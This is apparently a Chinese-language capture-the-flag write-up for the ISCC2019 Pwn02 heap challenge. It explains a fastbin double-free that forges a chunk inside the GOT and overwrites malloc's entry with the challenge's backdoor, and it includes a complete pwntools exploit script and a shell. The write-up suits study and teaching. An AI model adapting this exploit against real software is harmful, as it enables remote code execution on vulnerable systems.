ISCC2019 Pwn02 writeup

源程序下载:http://file.eonew.cn/ctf/pwn/pwn02.zip

本题主要考察 double free 漏洞的使用。建议在无tcache机制的glib下实验,也就是glibc-2.26以前的版本。

程序功能介绍

安全防护

ex@ubuntu:~/test$ checksec pwn02
[*] '/home/ex/test/pwn02'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

main

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  int *no_use; // rsi
  int v4; // ebx
  char *ptr[10]; // [rsp+0h] [rbp-70h]
  int sz; // [rsp+54h] [rbp-1Ch]
  int idx; // [rsp+58h] [rbp-18h]
  int cmd; // [rsp+5Ch] [rbp-14h]

  setvbuf(stdout, 0LL, 2, 0LL);
  no_use = 0LL;
  memset(ptr, 0, 80uLL);
  puts("1. malloc + gets\n2. free\n3. puts");
  while ( 1 )
  {
    while ( 1 )
    {
      printf("> ", no_use);
      no_use = &cmd;
      scanf("%d %d", &cmd, &idx);
      idx %= 10;
      if ( cmd != 1 )
        break;
      no_use = &sz;
      scanf("%d%*c", &sz);
      v4 = idx;
      ptr[v4] = (char *)malloc(sz);
      gets(ptr[idx]);
    }
    if ( cmd == 2 )
    {
      free(ptr[idx]);
    }
    else
    {
      if ( cmd != 3 )
        exit(0);
      puts(ptr[idx]);
    }
  }
}

程序流还是很简单明了。

后门函数:sh

void __cdecl sh(char *cmd)
{
  char *ss_0[10]; // [rsp+10h] [rbp-50h]

  system(cmd);
  fgets((char *)ss_0, 0, stdin);
}

分析

明显的double free,申请任意chunk即可,只需要绕过fastbin的size检查。

思路

  1. double free
  2. 拿任意chunk
  3. 劫持got表

double free

sh.sendline('1 0\n48')
sh.sendline('aaaa')
sh.sendline('1 1\n48')
sh.sendline('aaaa')

sh.sendline('2 0')
sh.sendline('2 1')
sh.sendline('2 0')

拿任意chunk

先查看got表:

ex@Ex:~/test$ objdump -R pwn02

pwn02:     file format elf64-x86-64

DYNAMIC RELOCATION RECORDS
OFFSET           TYPE              VALUE 
0000000000600db8 R_X86_64_GLOB_DAT  __gmon_start__
0000000000600e50 R_X86_64_COPY     stdout@@GLIBC_2.2.5
0000000000600e60 R_X86_64_COPY     stdin@@GLIBC_2.2.5
0000000000600dd8 R_X86_64_JUMP_SLOT  free@GLIBC_2.2.5
0000000000600de0 R_X86_64_JUMP_SLOT  puts@GLIBC_2.2.5
0000000000600de8 R_X86_64_JUMP_SLOT  system@GLIBC_2.2.5
0000000000600df0 R_X86_64_JUMP_SLOT  printf@GLIBC_2.2.5
0000000000600df8 R_X86_64_JUMP_SLOT  memset@GLIBC_2.2.5
0000000000600e00 R_X86_64_JUMP_SLOT  __libc_start_main@GLIBC_2.2.5
0000000000600e08 R_X86_64_JUMP_SLOT  fgets@GLIBC_2.2.5
0000000000600e10 R_X86_64_JUMP_SLOT  gets@GLIBC_2.2.5
0000000000600e18 R_X86_64_JUMP_SLOT  malloc@GLIBC_2.2.5
0000000000600e20 R_X86_64_JUMP_SLOT  setvbuf@GLIBC_2.2.5
0000000000600e28 R_X86_64_JUMP_SLOT  __isoc99_scanf@GLIBC_2.7
0000000000600e30 R_X86_64_JUMP_SLOT  exit@GLIBC_2.2.5

再用gdb调试看看哪个地方的size可以用来绕过fastbin的size检查。

fastbin的size检查

  0x7fcc2672667f <_int_malloc+194>    mov    eax, dword ptr [rbx + 8]
   0x7fcc26726682 <_int_malloc+197>    shr    eax, 4
   0x7fcc26726685 <_int_malloc+200>    sub    eax, 2
   0x7fcc26726688 <_int_malloc+203>    cmp    esi, eax
   0x7fcc2672668a <_int_malloc+205>    je     _int_malloc+269 <0x7fcc267266ca>
    
   0x7fcc267266ca <_int_malloc+269>    add    rbx, 0x10
───────────────────────────────────────────────[ SOURCE (CODE) ]───────────────────────────────────────────────
In file: /home/ex/glibc/glibc-2.23/malloc/malloc.c
   3378         }
   3379       while ((pp = catomic_compare_and_exchange_val_acq (fb, victim->fd, victim))
   3380              != victim);
   3381       if (victim != 0)
   3382         {
  3383           if (__builtin_expect (fastbin_index (chunksize (victim)) != idx, 0))
   3384             {
   3385               errstr = "malloc(): memory corruption (fast)";
   3386             errout:
   3387               malloc_printerr (check_action, errstr, chunk2mem (victim), av);
   3388               return NULL;

查看size

pwndbg> x/16gx 0x0600dd8
0x600dd8:   0x00007fcc26728704  0x00007fcc26717c99
0x600de8:   0x00000000004006b6  0x00007fcc26700410
0x600df8:   0x00007fcc267f0140  0x00007fcc266d4a88
0x600e08:   0x00000000004006f6  0x00007fcc267173c0
0x600e18:   0x00007fcc267280be  0x00007fcc26718430
0x600e28:   0x00007fcc26713fef  0x0000000000400746
0x600e38:   0x0000000000000000  0x0000000000000000
0x600e48:   0x0000000000000000  0x00007fcc26a3f620

之后选择用fgets的got地址来作为size,也就是0000000000600e08 R_X86_64_JUMP_SLOT fgets@GLIBC_2.2.5,之后对地址进行偏移:

pwndbg> x/4gx 0x600e08-6
0x600e02:   0x06f600007fcc266d  0x73c0000000000040
0x600e12:   0x80be00007fcc2671  0x843000007fcc2672

由此构造好了我们的size:00000040,这样就可以绕过fastbin的size检查。

对应的脚本:

sh.sendline('1 0\n48')
sh.sendline(p64(0x600e08-6))
sh.sendline('1 1\n48')
sh.sendline('ddddd\0')

sh.sendline('1 2\n48')
sh.sendline('cccccccc')

调试结果如下:

pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x600e02 (_GLOBAL_OFFSET_TABLE_+66) ◂— 0x20be00007ff7624d
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
pwndbg> p/x *(mchunkptr)0x600e02
$1 = {
  prev_size = 0x6f600007ff76248, 
  size = 0x13c0000000000040, 
  fd = 0x20be00007ff7624d, 
  bk = 0x243000007ff7624e, 
  fd_nextsize = 0xdfef00007ff7624d, 
  bk_nextsize = 0x74600007ff7624c
}
pwndbg> 

从上面可以看出,我们只要在malloc一次就能拿出那个任意的chunk了。

劫持got表

拿了chunk后,0x600e12地址就是我们可以控制的地址,该地址旁边的got表如下所示:

0000000000600e10 R_X86_64_JUMP_SLOT  gets@GLIBC_2.2.5
0000000000600e18 R_X86_64_JUMP_SLOT  malloc@GLIBC_2.2.5
0000000000600e20 R_X86_64_JUMP_SLOT  setvbuf@GLIBC_2.2.5

然后我们就可以修改malloc的got地址 为 sh(后门函数)的地址,并把参数字符串就放在malloc的got地址的后面(那么它的地址就是malloc的got地址 + 8),这样虽然会覆盖掉setvbuf的地址,但是我们已经不用这个函数了,所以不受影响,接下来就是malloc传参了。

malloc传参:直接把参数字符串的地址当成一个malloc的size传进行就可以,因为对于汇编来说,他们本质都是8个字节的数据(可以看成是C语言的强制类型转换),说实话,我在这里卡了很久,没想到解决方法这么简单,真是白学了这么久的C语言。

# 拿指定chunk
sh.sendline('1 2\n48')

# 后门函数的地址
sh_addr = 0x000000000400856
# 劫持 malloc.got
sh.sendline('f' * 6 + p64(sh_addr) + 'sh') 

# sh字符串的地址
bin_sh_addr = elf.got['malloc'] + 8
# malloc(bin_sh_addr) => sh(bin_sh_addr)
sh.sendline('1 3\n' + str(bin_sh_addr))

sh.interactive()

完整脚本

#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *
import time
import os
import struct

# context.log_level = "debug"

sh = process('./pwn02')
# sh = remote("39.100.87.24 ",8102)
elf = ELF('./pwn02')

try:
    f = open('pid', 'w')
    f.write(str(proc.pidof(sh)[0]))
    f.close()
except Exception as e:
    print(e)

sh.sendline('1 0\n48')
sh.sendline('aaaa')
sh.sendline('1 1\n48')
sh.sendline('aaaa')

sh.sendline('2 0')
sh.sendline('2 1')
sh.sendline('2 0')

sh.sendline('1 0\n48')
sh.sendline(p64(0x600e08-6))
sh.sendline('1 1\n48')
sh.sendline('ddddd\0')

sh.sendline('1 2\n48')
sh.sendline('cccccccc')

# 拿指定chunk
sh.sendline('1 2\n48')

# 后门函数的地址
sh_addr = 0x000000000400856
# 劫持 malloc.got
sh.sendline('f' * 6 + p64(sh_addr) + 'sh') 

# sh字符串的地址
bin_sh_addr = elf.got['malloc'] + 8
# malloc(bin_sh_addr) => sh(bin_sh_addr)
sh.sendline('1 3\n' + str(bin_sh_addr))

sh.interactive()

os.system('rm -f pid')

运行实例

ex@ubuntu:~/test$ ./exp.py 
[+] Starting local process './pwn02': pid 3190
[*] '/home/ex/test/pwn02'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] Switching to interactive mode
1. malloc + gets
2. free
3. puts
> > > > > > > > > > $ id
uid=1000(ex) gid=1000(ex) groups=1000(ex),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
$  

总结

这题其实挺简单的,但就是在传递参数上面卡了很久,还是见识得太少了。